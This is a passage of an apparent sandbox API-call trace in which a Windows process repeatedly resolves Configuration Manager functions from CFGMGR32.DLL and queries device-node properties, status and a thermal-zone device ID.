lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44bc456c, dwHighDateTime=0x1d9eb0c)) [0229.794] SetEvent (hEvent=0x248) returned 1 [0229.799] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.799] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.799] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.800] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.801] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.802] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.802] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.802] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.802] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.802] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.803] malloc (_Size=0x18) returned 0x20abc282000 [0229.803] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.803] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.803] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44bc456c, dwHighDateTime=0x1d9eb0c)) [0229.804] SetEvent (hEvent=0x248) returned 1 [0229.808] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.808] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.808] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.809] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.810] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.811] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.811] malloc (_Size=0x18) returned 0x20abc282080 [0229.812] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.812] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.812] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44beb999, dwHighDateTime=0x1d9eb0c)) [0229.812] SetEvent (hEvent=0x248) returned 1 [0229.817] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.817] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.817] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.820] malloc (_Size=0x18) returned 0x20abc281fa0 [0229.821] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0229.821] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44beb999, dwHighDateTime=0x1d9eb0c)) [0229.821] SetEvent (hEvent=0x248) returned 1 [0229.875] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.875] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.875] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.876] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.877] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.878] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.879] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.879] malloc (_Size=0x18) returned 0x20abc281d40 [0229.880] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.882] malloc (_Size=0x48) returned 0x20abc27cf80 [0229.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44c82d7a, dwHighDateTime=0x1d9eb0c)) [0229.883] SetEvent (hEvent=0x248) returned 1 [0229.888] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.888] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.889] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.890] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.891] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.892] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.892] malloc (_Size=0x18) returned 0x20abc281b60 [0229.893] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x16, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0229.893] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x44ca8e7a, dwHighDateTime=0x1d9eb0c)) [0229.893] SetEvent (hEvent=0x248) returned 1 [0229.902] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.902] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.902] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.903] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.904] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.905] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.906] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.906] malloc (_Size=0x18) returned 0x20abc281c20 [0229.906] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x16, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0229.907] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x44ccf1fb, dwHighDateTime=0x1d9eb0c)) [0229.907] SetEvent (hEvent=0x248) returned 1 [0229.912] malloc (_Size=0xd8) returned 0x20abc284e70 [0229.912] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0229.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0229.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0229.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0229.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0229.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0229.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0229.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0229.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0229.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0229.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0229.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0229.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0229.915] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0229.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0229.916] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0229.916] malloc (_Size=0x18) returned 0x20abc281a80 [0229.917] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0229.917] malloc (_Size=0x48) returned 0x20abc27cb20 [0229.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x44cf5502, dwHighDateTime=0x1d9eb0c)) [0229.917] SetEvent (hEvent=0x248) returned 1 [0230.043] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.043] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.043] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.047] malloc (_Size=0x18) returned 0x20abc2819e0 [0230.048] CM_Get_Device_IDA (in: dnDevInst=0x17, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\THERMALZONE\\TZ00") returned 0x0 [0230.048] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x44e266e3, dwHighDateTime=0x1d9eb0c)) [0230.048] SetEvent (hEvent=0x248) returned 1 [0230.054] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.054] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.054] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.054] GetProcAddress (hModule=0x7ffb1ced0000, 